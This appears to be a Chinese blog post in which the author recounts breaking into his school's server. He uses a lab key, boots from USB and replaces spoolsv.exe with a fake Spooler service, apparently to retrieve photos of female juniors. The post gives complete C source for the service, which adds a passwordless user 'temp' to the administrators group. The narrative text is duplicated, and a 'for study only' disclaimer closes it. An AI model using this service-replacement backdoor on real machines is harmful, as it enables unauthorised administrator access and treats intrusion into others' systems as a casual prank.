【日常】一次真实的入侵过程
2015-06-28 16:21
309 查看
啊 我是个正直的孩子!
闲来无事吧 昨天试着登录了预留的学校ftp服务器远程管理
mstsc /v:172.254.254.253
然后娴熟地输入帐号密码:
咦?
下意识说被老师发现了
那老师不应该来找我吗
还有一种可能就是重装了
果然:
可是怎么办呢我还要学妹照片啊啊啊啊啊
想起来ftp有保留(可是重装了阿
果然没法........qaq
------------------------------------------------------
想了一天一夜
终于想到一个方法
Plan B:
我有学校一间机房的钥匙
记得机房的网关服务器有172.254.254.253的ftp网络管理员来着(Serv-U)
可是没有密码阿
又不能直接破解administrator的密码
这样老师肯定会想我要干嘛
怎么办
想了想 就绕过验证
学校的服务器是没有杀毒软件的
所以直接 用某服务来执行用户的添加和提权即可Orz
思前想后
决定用spooler服务
然后就是写服务了 伪造系统服务
服务很简单 能启动能执行就好
所以
生成的文件名就spoolsv.exe
然后拷贝到某能启动的U盘里
用U盘启动计算机
然后把spoolsv.exe拷贝到%windir%\system32中
接着重启
然后 就大功告成啦
后话就不表了 就酱!
【声明】本文仅用于交流学习,切勿用于非法用途。
闲来无事吧 昨天试着登录了预留的学校ftp服务器远程管理
mstsc /v:172.254.254.253
然后娴熟地输入帐号密码:
咦?
下意识说被老师发现了
那老师不应该来找我吗
还有一种可能就是重装了
果然:
可是怎么办呢我还要学妹照片啊啊啊啊啊
想起来ftp有保留(可是重装了阿
果然没法........qaq
------------------------------------------------------
想了一天一夜
终于想到一个方法
Plan B:
我有学校一间机房的钥匙
记得机房的网关服务器有172.254.254.253的ftp网络管理员来着(Serv-U)
可是没有密码阿
又不能直接破解administrator的密码
这样老师肯定会想我要干嘛
怎么办
想了想 就绕过验证
学校的服务器是没有杀毒软件的
所以直接 用某服务来执行用户的添加和提权即可Orz
思前想后
决定用spooler服务
然后就是写服务了 伪造系统服务
服务很简单 能启动能执行就好
所以
#include <windows.h> LPSTR Sname="Spooler"; SERVICE_STATUS_HANDLE ssh; SERVICE_STATUS ss; void CALLBACK Service_Main(DWORD, LPCSTR *); void CALLBACK Service_Control(DWORD); int main(int argc,LPCSTR * argv) { SERVICE_TABLE_ENTRY STE[]={Sname,(LPSERVICE_MAIN_FUNCTION)Service_Main,NULL,NULL}; StartServiceCtrlDispatcher(STE); return 0; } void CALLBACK Service_Main(DWORD dwArgc, LPCSTR * lpszArgv){ if (!(ssh=RegisterServiceCtrlHandler(Sname,Service_Control))) exit(-1); ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS; ss.dwCurrentState=SERVICE_START_PENDING; ss.dwControlsAccepted=SERVICE_ACCEPT_STOP; ss.dwServiceSpecificExitCode=0; ss.dwWin32ExitCode=0; ss.dwCheckPoint=0; ss.dwWaitHint=200; SetServiceStatus(ssh,&ss); ss.dwCurrentState=SERVICE_RUNNING; ss.dwCheckPoint=0; ss.dwWaitHint=0; SetServiceStatus(ssh,&ss); system("net user temp \"\" /add"); system("net localgroup administrators temp /add"); ss.dwCurrentState=SERVICE_STOPPED; ss.dwCheckPoint=0; ss.dwWaitHint=0; SetServiceStatus(ssh,&ss); return ; } void CALLBACK Service_Control(DWORD dwControl) { switch (dwControl) { case SERVICE_CONTROL_STOP: default:break; } return ; }
生成的文件名就spoolsv.exe
然后拷贝到某能启动的U盘里
用U盘启动计算机
然后把spoolsv.exe拷贝到%windir%\system32中
接着重启
然后 就大功告成啦
后话就不表了 就酱!
【声明】本文仅用于交流学习,切勿用于非法用途。